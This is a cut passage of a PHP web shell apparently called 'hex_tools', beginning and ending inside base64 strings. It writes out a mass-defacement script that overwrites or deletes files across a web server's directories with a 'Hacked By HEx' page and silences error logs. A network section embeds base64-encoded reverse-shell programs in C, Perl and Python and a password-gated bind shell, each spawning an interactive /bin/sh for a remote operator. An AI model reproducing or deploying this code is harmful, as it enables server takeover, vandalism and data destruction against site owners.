SBzY2FuZGlyKCRkaXIpOwogICAgICAgIGZvcmVhY2ggKCRkaXJhIGFzICRkaXJiKSB7CiAgICAgICAgICAgICRkaXJjID0gIiRkaXIvJGRpcmIiOwogICAgICAgICAgICAkbG9rYXNpID0gJGRpcmMgLiAnLycgLiAkbmFtYWZpbGU7CiAgICAgICAgICAgIGlmICgkZGlyYiA9PT0gJy4nKSB7CiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoIiRkaXIvJG5hbWFmaWxlIikpIHsKICAgICAgICAgICAgICAgICAgICB1bmxpbmsoIiRkaXIvJG5hbWFmaWxlIik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZWlmICgkZGlyYiA9PT0gJy4uJykgewogICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCIiIC4gZGlybmFtZSgkZGlyKSAuICIvJG5hbWFmaWxlIikpIHsKICAgICAgICAgICAgICAgICAgICB1bmxpbmsoIiIgLiBkaXJuYW1lKCRkaXIpIC4gIi8kbmFtYWZpbGUiKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGRpcmMpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRkaXJjKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGxva2FzaSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIls8Zm9udCBjb2xvcj1vcmFuZ2U+REVMRVRFRDwvZm9udD5dICRsb2thc2k8YnI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVubGluaygkbG9rYXNpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpZHggPSBoYXB1c19NYXNzYWwoJGRpcmMsICRuYW1hZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0KZnVuY3Rpb24gY2xlYXJfZmlsbCgkZmlsZSwgJGluZGV4KSB7CiAgICBpZiAoZmlsZV9leGlzdHMoJGZpbGUpKSB7CiAgICAgICAgJGhhbmRsZSA9IGZvcGVuKCRmaWxlLCAndycpOwogICAgICAgIGZ3cml0ZSgkaGFuZGxlLCAnJyk7CiAgICAgICAgZndyaXRlKCRoYW5kbGUsICRpbmRleCk7CiAgICAgICAgZmNsb3NlKCRoYW5kbGUpOwogICAgfQp9CmZ1bmN0aW9uIGdhc3MoKSB7CiAgICBnbG9iYWwgJGRpcnIsICRpbmRleDsKICAgIGNoZGlyKCRkaXJyKTsKICAgICRtZSA9IHN0cl9yZXBsYWNlKGRpcm5hbWUoX19GSUxFX18pIC4gJy8nLCAnJywgX19GSUxFX18pOwogICAgJGZpbGVzID0gc2NhbmRpcigkZGlycik7CiAgICAkbm90YWxsb3cgPSBhcnJheSgiLmh0YWNjZXNzIiwgInd3dyIsICJXZWIuQ29uZmlnIiwgIlVNRC5waHAiLCAiV2ViLmNvbmZpZyIsICJ3ZWIuY29uZmlnIiwgIndlYi5Db25maWciLCAiLi4iLCAiLiIpOwogICAgc29ydCgkZmlsZXMpOwogICAgJG4gPSAwOwogICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7CiAgICAgICAgaWYgKCRmaWxlICE9ICRtZSAmJiBpc19kaXIoJGZpbGUpICE9IDEgJiYgIWluX2FycmF5KCRmaWxlLCAkbm90YWxsb3cpKSB7CiAgICAgICAgICAgIGVjaG8gIjxjZW50ZXI+PFNwYW4gc3R5bGU9J2NvbG9yOiAjOEE4QThBOyc+PHN0cm9uZz4kZGlyci88L3NwYW4+JGZpbGU8L3N0cm9uZz4gPT09PT4gIjsKICAgICAgICAgICAgZWRpdF9maWxlKCRmaWxlLCAkaW5kZXgpOwogICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICAkbiA9ICRuICsgMTsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICI8YnI+IjsKICAgIGVjaG8gIjxjZW50ZXI+PGJyPjxoMz4kbiBGaWxlcyBEZWZhY2VkIDwvaDM+PC9jZW50ZXI+PGJyPiAiOwp9IApmdW5jdGlvbiBMaXN0RmlsZXMoJGRpcnJhbGwpIHsKICAgIGlmICgkZGggPSBvcGVuZGlyKCRkaXJyYWxsKSkgewogICAgICAgICRmaWxlcyA9IEFycmF5KCk7CiAgICAgICAgJGlubmVyX2ZpbGVzID0gQXJyYXkoKTsKICAgICAgICAkbWUgPSBzdHJfcmVwbGFjZShkaXJuYW1lKF9fRklMRV9fKSAuICcvJywgJycsIF9fRklMRV9fKTsKICAgICAgICAkbm90YWxsb3cgPSBhcnJheSgkbWUsICIuaHRhY2Nlc3MiLCAid3d3IiwgIldlYi5Db25maWciLCAiVU1ELnBocCIsICJXZWIuY29uZmlnIiwgIndlYi5jb25maWciLCAid2ViLkNvbmZpZyIpOwogICAgICAgIHdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgewogICAgICAgICAgICBpZiAoJGZpbGUgIT0gIi4iICYmICRmaWxlICE9ICIuLiIgJiYgJGZpbGVbMF0gIT0gJy4nICYmICFpbl9hcnJheSgkZmlsZSwgJG5vdGFsbG93KSkgewogICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkZGlycmFsbCAuICIvIiAuICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICRpbm5lcl9maWxlcyA9IExpc3RGaWxlcygkZGlycmFsbCAuICIvIiAuICRmaWxlKTsKICAgICAgICAgICAgICAgICAgICBpZiAoaXNfYXJyYXkoJGlubmVyX2ZpbGVzKSkgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGZpbGVzLCAkaW5uZXJfZmlsZXMpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJGRpcnJhbGwgLiAiLyIgLiAkZmlsZSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgY2xvc2VkaXIoJGRoKTsKICAgICAgICByZXR1cm4gJGZpbGVzOwogICAgfQp9CmZ1bmN0aW9uIGdhc3NfYWxsKCkgewogICAgZ2xvYmFsICRpbmRleDsKICAgICRkaXJyYWxsID0gJF9QT1NUWydkX2RpciddOwogICAgZm9yZWFjaCAoTGlzdEZpbGVzKCRkaXJyYWxsKSBhcyAka2V5ID0+ICRmaWxlKSB7CiAgICAgICAgJGZpbGUgPSBzdHJfcmVwbGFjZSgnLy8nLCAiLyIsICRmaWxlKTsKICAgICAgICBlY2hvICI8Y2VudGVyPjxzdHJvbmc+JGZpbGU8L3N0cm9uZz4gPT09PiI7CiAgICAgICAgZWRpdF9maWxlKCRmaWxlLCAkaW5kZXgpOwogICAgICAgIGZsdXNoKCk7CiAgICB9CiAgICAka2V5ID0gJGtleSArIDE7CiAgICBlY2hvICI8Y2VudGVyPjxicj48aDM+JGtleSBGaWxlcyBEZWZhY2VkIDwvaDM+PC9jZW50ZXI+PGJyPiI7Cn0KZnVuY3Rpb24gc2FidW5fTWFzc2FsKCRkaXIsICRuYW1hZmlsZSwgJGlzaV9zY3JpcHQpIHsKICAgIGlmIChpc193cml0YWJsZSgkZGlyKSkgewogICAgICAgICRkaXJhID0gc2NhbmRpcigkZGlyKTsKICAgICAgICBmb3JlYWNoICgkZGlyYSBhcyAkZGlyYikgewogICAgICAgICAgICAkZGlyYyA9ICIkZGlyLyRkaXJiIjsKICAgICAgICAgICAgJGxva2FzaSA9ICRkaXJjIC4gJy8nIC4gJG5hbWFmaWxlOwogICAgICAgICAgICBpZiAoJGRpcmIgPT09ICcuJykgewogICAgICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOwogICAgICAgICAgICB9IGVsc2VpZiAoJGRpcmIgPT09ICcuLicpIHsKICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGRpcmMpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRkaXJjKSkgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1vcmFuZ2U+WyBET05FIF0gPC9mb250Pjxmb250IGNvbG9yPXdoaXRlPiAkbG9rYXNpPC9mb250Pjxicj4iOwogICAgICAgICAgICAgICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkbG9rYXNpLCAkaXNpX3NjcmlwdCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRpZHggPSBzYWJ1bl9NYXNzYWwoJGRpcmMsICRuYW1hZmlsZSwgJGlzaV9zY3JpcHQpOwogICAgICAgICAgICAgICAgICAgIH0gIH0gfSAgfSB9Cn0gCmlmICgkX1BPU1RbJ01hc3MnXSA9PSAnb25lZGlyJykgewogICAgZWNobyAiPGJyPiBWZXJzaSBUZXh0IEFyZWE8YnI+PHRleHRhcmVhIHN0eWxlPSdiYWNrZ3JvdW5kOmJsYWNrO291dGxpbmU6bm9uZTtjb2xvcjpyZWQ7JyBuYW1lPSdpbmRleCcgcm93cz0nMTAnIGNvbHM9JzY3Jz4KIjsKICAgICRpbmkgPSAiaHR0cDovLyI7CiAgICAkbWFpbnBhdGggPSAkX1BPU1RbZF9kaXJdOwogICAgJGZpbGUgPSAkX1BPU1RbZF9maWxlXTsKICAgICRkaXIgPSBvcGVuZGlyKCIkbWFpbnBhdGgiKTsKICAgICRjb2RlID0gYmFzZTY0X2VuY29kZSgkX1BPU1Rbc2NyaXB0XSk7CiAgICAkaW5keCA9IGJhc2U2NF9kZWNvZGUoJGNvZGUpOwogICAgd2hpbGUgKCRyb3cgPSByZWFkZGlyKCRkaXIpKSB7CiAgICAgICAgJHN0YXJ0ID0gQGZvcGVuKCIkcm93LyRmaWxlIiwgIncrIik7CiAgICAgICAgJGZpbmlzaCA9IEBmd3JpdGUoJHN0YXJ0LCAkaW5keCk7CiAgICAgICAgaWYgKCRmaW5pc2gpIHsKICAgICAgICAgICAgZWNobyAiJGluaSRyb3cvJGZpbGUKIjsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICI8L3RleHRhcmVhPjxicj48YnI+PGJyPjxiPlZlcnNpIFRleHQ8L2I+PGJyPjxicj48YnI+CiI7CiAgICAkbWFpbnBhdGggPSAkX1BPU1RbZF9kaXJdOwogICAgJGZpbGUgPSAkX1BPU1RbZF9maWxlXTsKICAgICRkaXIgPSBvcGVuZGlyKCIkbWFpbnBhdGgiKTsKICAgICRjb2RlID0gYmFzZTY0X2VuY29kZSgkX1BPU1Rbc2NyaXB0XSk7CiAgICAkaW5keCA9IGJhc2U2NF9kZWNvZGUoJGNvZGUpOwogICAgd2hpbGUgKCRyb3cgPSByZWFkZGlyKCRkaXIpKSB7CiAgICAgICAgJHN0YXJ0ID0gQGZvcGVuKCIkcm93LyRmaWxlIiwgIncrIik7CiAgICAgICAgJGZpbmlzaCA9IEBmd3JpdGUoJHN0YXJ0LCAkaW5keCk7CiAgICAgICAgaWYgKCRmaW5pc2gpIHsKICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iaHR0cDovLycgLiAkcm93IC4gJy8nIC4gJGZpbGUgLiAnIiB0YXJnZXQ9Il9ibGFuayI+aHR0cDovLycgLiAkcm93IC4gJy8nIC4gJGZpbGUgLiAnPC9hPjxicj4nOwogICAgICAgIH0KICAgIH0KfSBlbHNlaWYgKCRfUE9TVFsnTWFzcyddID09ICdzYWJ1bmthYmVoJykgewogICAgZ2FzcygpOwp9IGVsc2VpZiAoJF9QT1NUWydNYXNzJ10gPT0gJ2hhcHVzTWFzc2FsJykgewogICAgaGFwdXNfTWFzc2FsKCRfUE9TVFsnZF9kaXInXSwgJF9QT1NUWydkX2ZpbGUnXSk7Cn0gZWxzZWlmICgkX1BPU1RbJ01hc3MnXSA9PSAnc2FidW5tZW1hdGlrYW4nKSB7CiAgICBnYXNzX2FsbCgpOwp9IGVsc2VpZiAoJF9QT1NUWydNYXNzJ10gPT0gJ01hc3NkZWZhY2UnKSB7CiAgICBlY2hvICI8ZGl2IHN0eWxlPSdtYXJnaW46IDVweCBhdXRvOyBwYWRkaW5nOiA1cHgnPiI7CiAgICBzYWJ1bl9NYXNzYWwoJF9QT1NUWydkX2RpciddLCAkX1BPU1RbJ2RfZmlsZSddLCAkX1BPU1RbJ3NjcmlwdCddKTsKICAgIGVjaG8gIjwvZGl2PiI7Cn0gZWxzZSB7CiAgICBlY2hvICI8Y2VudGVyPgkJPGZvbnQgZmFjZT0nSWNlbGFuZCcgY29sb3I9J29yYW5nZScgc2l6ZT0nMycgPlNlbGVjdCBUeXBlOjxicj48L2ZvbnQ+PHNlbGVjdCBjbGFzcz1cInNlbGVjdFwiIG5hbWU9XCJNYXNzXCIgIHN0eWxlPVwid2lkdGg6IDQ1MHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMyMDI4MzI7IGNvbG9yOiNmZmZmZmZcIiBoZWlnaHQ9XCIxMFwiID48b3B0aW9uIHZhbHVlPVwib25lZGlyXCI+TWFzcyBEZWZhY2UgMSBEaXI8L29wdGlvbj4JPG9wdGlvbiB2YWx1ZT1cIk1hc3NkZWZhY2VcIj5NYXNzIERlZmFjZSBBTEwgRGlyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cInNhYnVua2FiZWhcIj5DdXJyZW50IERpciBBbGwgRmlsZXM8L29wdGlvbj4JPG9wdGlvbiB2YWx1ZT1cInNhYnVubWVtYXRpa2FuXCI+UmVwbGFjZSBFdmVyeXRoaW5nIFdpdGggRGVmYWNlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cImhhcHVzTWFzc2FsXCI+TWFzcyBEZWxldGUgRmlsZXM8L29wdGlvbj48L2NlbnRlcj48L3NlbGVjdD48YnI+PGZvbnQgZmFjZT0nSWNlbGFuZCcgY29sb3I9J29yYW5nZScgc2l6ZT0nMycgPkZvbGRlcjo8L2ZvbnQ+PGJyPgk8aW5wdXQgbmFtZT0nZF9kaXInIHZhbHVlPSciLmdldGN3ZCgpLiInIHJlcXVpcmVkPScnIHR5cGU9J3RleHQnIHN0eWxlPSd3aWR0aDogNDUwcHg7IGJhY2tncm91bmQtY29sb3I6IzIwMjgzMjsgY29sb3I6I2ZmZmZmZicgaGVpZ2h0PScxMCc+PGJyPjxmb250IGZhY2U9J0ljZWxhbmQnIGNvbG9yPSdvcmFuZ2UnIHNpemU9JzMnID5GaWxlbmFtZTo8L2ZvbnQ+PGJyPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHZhbHVlPSdpbmRleC5odG1sJyBzdHlsZT0nd2lkdGg6IDQ1MHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMyMDI4MzI7IGNvbG9yOiNmZmZmZmYnIGhlaWdodD0nMTAnPjxicj48Zm9udCBmYWNlPSdJY2VsYW5kJyBjb2xvcj0nb3JhbmdlJyAgc2l6ZT0nMycgPkluZGV4IEZpbGU6PC9mb250Pjxicj4KCQoJPHRleHRhcmVhIG5hbWU9J3NjcmlwdCcgc3R5bGU9J3dpZHRoOiA0NTBweDsgaGVpZ2h0OiAyMDBweDsgYmFja2dyb3VuZC1jb2xvcjojMjAyODMyOyBjb2xvcjojZmZmZmZmICc+ICA8YnI+PGJyPjxicj48YnI+PGJyPjxjZW50ZXI+PGgxPiBIYWNrZWQgQnkgSEV4IDxicj4gUGFraXN0YW4gWmluZGFiYWQ8L2gxPjwvY2VudGVyPiAgPC90ZXh0YXJlYT48YnI+CgkKCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3N0YXJ0JyB2YWx1ZT0nTWFzcyBEZWZhY2UnIHN0eWxlPSd3aWR0aDogMjAwcHg7Jz48L2Zvcm0+PC9jZW50ZXI+PC9kaXY+IjsgfSAgPz4gCg==";
        $mass = fopen($file_mass, "w");
        fwrite($mass, "<?php \n@ini_set('error_log', NULL);\n@ini_set('log_errors', 0);\n@ini_set('max_execution_time', 0);\n@ini_set('output_buffering', 0);\n@ini_set('display_errors', 0);\necho \"<center><form action=\\\"\\\" method=\\\"post\\\"> \";\nfunction edit_file(\$file, \$index) {\n    if (is_writable(\$file)) {\n        clear_fill(\$file, \$index);\n        echo \"<Span style='color:green;'><strong> [+] Done 100% Successfull </strong></span><br></center>\";\n    } else {\n        echo \"<Span style='color:red;'><strong> [-] Failed :( </strong></span><br></center>\"; \n    }\n} \nfunction hapus_Massal(\$dir, \$namafile) {\n    if (is_writable(\$dir)) {\n        \$dira = scandir(\$dir);\n        foreach (\$dira as \$dirb) {\n            \$dirc = \"\$dir/\$dirb\";\n            \$lokasi = \$dirc . '/' . \$namafile;\n            if (\$dirb === '.') {\n                if (file_exists(\"\$dir/\$namafile\")) {\n                    unlink(\"\$dir/\$namafile\");\n                }\n            } elseif (\$dirb === '..') {\n                if (file_exists(\"\" . dirname(\$dir) . \"/\$namafile\")) {\n                    unlink(\"\" . dirname(\$dir) . \"/\$namafile\");\n                }\n            } else {\n                if (is_dir(\$dirc)) {\n                    if (is_writable(\$dirc)) {\n                        if (file_exists(\$lokasi)) {\n                            echo \"[<font color=orange>DELETED</font>] \$lokasi<br>\";\n                            unlink(\$lokasi);\n                            \$idx = hapus_Massal(\$dirc, \$namafile);\n                        }\n                    }\n                }\n            }\n        }\n    }\n}\nfunction clear_fill(\$file, \$index) {\n    if (file_exists(\$file)) {\n        \$handle = fopen(\$file, 'w');\n        fwrite(\$handle, '');\n        fwrite(\$handle, \$index);\n        fclose(\$handle);\n    }\n}\nfunction gass() {\n    global \$dirr, \$index;\n    chdir(\$dirr);\n    \$me = str_replace(dirname(__FILE__) . '/', '', __FILE__);\n    \$files = scandir(\$dirr);\n    \$notallow = array(\".htaccess\", \"www\", \"Web.Config\", \"UMD.php\", \"Web.config\", \"web.config\", \"web.Config\", \"..\", \".\");\n    sort(\$files);\n    \$n = 0;\n    foreach (\$files as \$file) {\n        if (\$file != \$me && is_dir(\$file) != 1 && !in_array(\$file, \$notallow)) {\n            echo \"<center><Span style='color: #8A8A8A;'><strong>\$dirr/</span>\$file</strong> ====> \";\n            edit_file(\$file, \$index);\n            flush();\n            \$n = \$n + 1;\n        }\n    }\n    echo \"<br>\";\n    echo \"<center><br><h3>\$n Files Defaced </h3></center><br> \";\n} \nfunction ListFiles(\$dirrall) {\n    if (\$dh = opendir(\$dirrall)) {\n        \$files = Array();\n        \$inner_files = Array();\n        \$me = str_replace(dirname(__FILE__) . '/', '', __FILE__);\n        \$notallow = array(\$me, \".htaccess\", \"www\", \"Web.Config\", \"UMD.php\", \"Web.config\", \"web.config\", \"web.Config\");\n        while (\$file = readdir(\$dh)) {\n            if (\$file != \".\" && \$file != \"..\" && \$file[0] != '.' && !in_array(\$file, \$notallow)) {\n                if (is_dir(\$dirrall . \"/\" . \$file)) {\n                    \$inner_files = ListFiles(\$dirrall . \"/\" . \$file);\n                    if (is_array(\$inner_files)) \$files = array_merge(\$files, \$inner_files);\n                } else {\n                    array_push(\$files, \$dirrall . \"/\" . \$file);\n                }\n            }\n        }\n        closedir(\$dh);\n        return \$files;\n    }\n}\nfunction gass_all() {\n    global \$index;\n    \$dirrall = \$_POST['d_dir'];\n    foreach (ListFiles(\$dirrall) as \$key => \$file) {\n        \$file = str_replace('//', \"/\", \$file);\n        echo \"<center><strong>\$file</strong> ===>\";\n        edit_file(\$file, \$index);\n        flush();\n    }\n    \$key = \$key + 1;\n    echo \"<center><br><h3>\$key Files Defaced </h3></center><br>\";\n}\nfunction sabun_Massal(\$dir, \$namafile, \$isi_script) {\n    if (is_writable(\$dir)) {\n        \$dira = scandir(\$dir);\n        foreach (\$dira as \$dirb) {\n            \$dirc = \"\$dir/\$dirb\";\n            \$lokasi = \$dirc . '/' . \$namafile;\n            if (\$dirb === '.') {\n                file_put_contents(\$lokasi, \$isi_script);\n            } elseif (\$dirb === '..') {\n                file_put_contents(\$lokasi, \$isi_script);\n            } else {\n                if (is_dir(\$dirc)) {\n                    if (is_writable(\$dirc)) {\n                        echo \"<font color=orange>[ DONE ] </font><font color=white> \$lokasi</font><br>\";\n                        file_put_contents(\$lokasi, \$isi_script);\n                        \$idx = sabun_Massal(\$dirc, \$namafile, \$isi_script);\n                    }  } }  } }\n} \nif (\$_POST['Mass'] == 'onedir') {\n    echo \"<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\n\";\n    \$ini = \"http://\";\n    \$mainpath = \$_POST[d_dir];\n    \$file = \$_POST[d_file];\n    \$dir = opendir(\"\$mainpath\");\n    \$code = base64_encode(\$_POST[script]);\n    \$indx = base64_decode(\$code);\n    while (\$row = readdir(\$dir)) {\n        \$start = @fopen(\"\$row/\$file\", \"w+\");\n        \$finish = @fwrite(\$start, \$indx);\n        if (\$finish) {\n            echo \"\$ini\$row/\$file\n\";\n        }\n    }\n    echo \"</textarea><br><br><br><b>Versi Text</b><br><br><br>\n\";\n    \$mainpath = \$_POST[d_dir];\n    \$file = \$_POST[d_file];\n    \$dir = opendir(\"\$mainpath\");\n    \$code = base64_encode(\$_POST[script]);\n    \$indx = base64_decode(\$code);\n    while (\$row = readdir(\$dir)) {\n        \$start = @fopen(\"\$row/\$file\", \"w+\");\n        \$finish = @fwrite(\$start, \$indx);\n        if (\$finish) {\n            echo '<a href=\"http://' . \$row . '/' . \$file . '\" target=\"_blank\">http://' . \$row . '/' . \$file . '</a><br>';\n        }\n    }\n} elseif (\$_POST['Mass'] == 'sabunkabeh') {\n    gass();\n} elseif (\$_POST['Mass'] == 'hapusMassal') {\n    hapus_Massal(\$_POST['d_dir'], \$_POST['d_file']);\n} elseif (\$_POST['Mass'] == 'sabunmematikan') {\n    gass_all();\n} elseif (\$_POST['Mass'] == 'Massdeface') {\n    echo \"<div style='margin: 5px auto; padding: 5px'>\";\n    sabun_Massal(\$_POST['d_dir'], \$_POST['d_file'], \$_POST['script']);\n    echo \"</div>\";\n} else {\n    echo \"<center>\t\t<font face='Iceland' color='orange' size='3' >Select Type:<br></font><select class=\\\"select\\\" name=\\\"Mass\\\"  style=\\\"width: 450px; background-color:#202832; color:#ffffff\\\" height=\\\"10\\\" ><option value=\\\"onedir\\\">Mass Deface 1 Dir</option>\t<option value=\\\"Massdeface\\\">Mass Deface ALL Dir</option><option value=\\\"sabunkabeh\\\">Current Dir All Files</option>\t<option value=\\\"sabunmematikan\\\">Replace Everything With Deface</option><option value=\\\"hapusMassal\\\">Mass Delete Files</option></center></select><br><font face='Iceland' color='orange' size='3' >Folder:</font><br>\t<input name='d_dir' value='\".getcwd().\"' required='' type='text' style='width: 450px; background-color:#202832; color:#ffffff' height='10'><br><font face='Iceland' color='orange' size='3' >Filename:</font><br><input type='text' name='d_file' value='index.html' style='width: 450px; background-color:#202832; color:#ffffff' height='10'><br><font face='Iceland' color='orange'  size='3' >Index File:</font><br>\n\t\n\t<textarea name='script' style='width: 450px; height: 200px; background-color:#202832; color:#ffffff '>  <br><br><br><br><br><center><h1> Hacked By HEx <br> Pakistan Zindabad</h1></center>  </textarea><br>\n\t\n\t<input type='submit' name='start' value='Mass Deface' style='width: 200px;'></form></center></div>\"; }  ?> \n");
        echo "<br><center> <iframe src='hex_tools/mas.php' width='800' height='450'></iframe></a></div>";
        hardFooter();
    }
    // Mass Deface Section END
    // Back COnnect SEction
    function actionNetwork()
    {
        hardHeader();
        $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
        $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
        $bind_port_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
        $pyy = "IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBDb243ZXh0IC0gWGFpIFN5bmRpY2F0ZVxuVGhhbmtzIEdvb2dsZSBGb3IgUmVmZXJlbnNpXG5cbicnJykNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDEpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMikNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwzKQ0KICAgIHNoZWxsID0gc3VicHJvY2Vz